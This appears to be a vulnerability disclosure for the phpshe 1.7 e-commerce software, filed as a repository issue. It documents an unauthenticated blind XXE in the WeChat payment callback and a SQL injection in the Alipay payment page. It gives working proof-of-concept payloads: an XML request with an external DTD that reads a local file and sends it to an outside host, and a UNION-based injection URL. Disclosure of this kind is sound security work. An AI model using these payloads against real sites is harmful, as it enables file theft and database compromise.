Two vulnerabiliyies without authentication

#### 0x01 blind XXE in /include/plugin/payment/wechat/notify_url.php

The XXE vulnerability is located in include/plugin/payment/wechat/notify_url.php, `wechat_getxml` function is called.
![输入图片说明](https://images.gitee.com/uploads/images/2019/0310/114033_90743e2e_4821478.png "1.png")

`wechat_getxml` function is defined in hook/wechat.hook.php ,then `pe_getxml`function is called.

![输入图片说明](https://images.gitee.com/uploads/images/2019/0310/114050_7b7a6537_4821478.png "2.png")

`pe_getxml` function is defined in include/function/global.func.php。`simplexml_load_string()` function is called to parse the xml from `php://input`. If the version of libxml lib < 2.9.0, `simplexml_load_string()` will parse the external entity in the default mod.

![输入图片说明](https://images.gitee.com/uploads/images/2019/0310/114105_14293fa2_4821478.png "3.png")

the poc is as below:

```html
/phpshe1.7/include/plugin/payment/wechat/notify_url.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
...
Content-Type: application/xml
Content-Length: 257

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://yoursite.com/test.dtd">
%dtd;
]>
<roottag>&send;</roottag>
```
test.dtd:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://dnslog.com/?%file;'>">
%all;
```
We can use it to read any file in the system.

#### 0x02 SQL Injection in include/plugin/payment/alipay/pay.php with parameter id

The vulnerability is located in include/plugin/payment/alipay/pay.php and  $order_id can be controlled.

![输入图片说明](https://images.gitee.com/uploads/images/2019/0310/114149_1133a939_4821478.png "7.png")

Then the renturn value of `order_table` will be directly spliced into SQL statements as table name.

![输入图片说明](https://images.gitee.com/uploads/images/2019/0310/114158_d258279b_4821478.png "8.png")

So the poc is as below:

```sql
/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,user(),4,5,6,7,8,9,10,11,12%23_
```
![输入图片说明](https://images.gitee.com/uploads/images/2019/0310/114212_3e8fe1b8_4821478.png "11.png")

koyshe/phpshe

内容风险标识

评论 (0)

koyshe/phpshe .gitee-modal { width: 500px !important; }

内容风险标识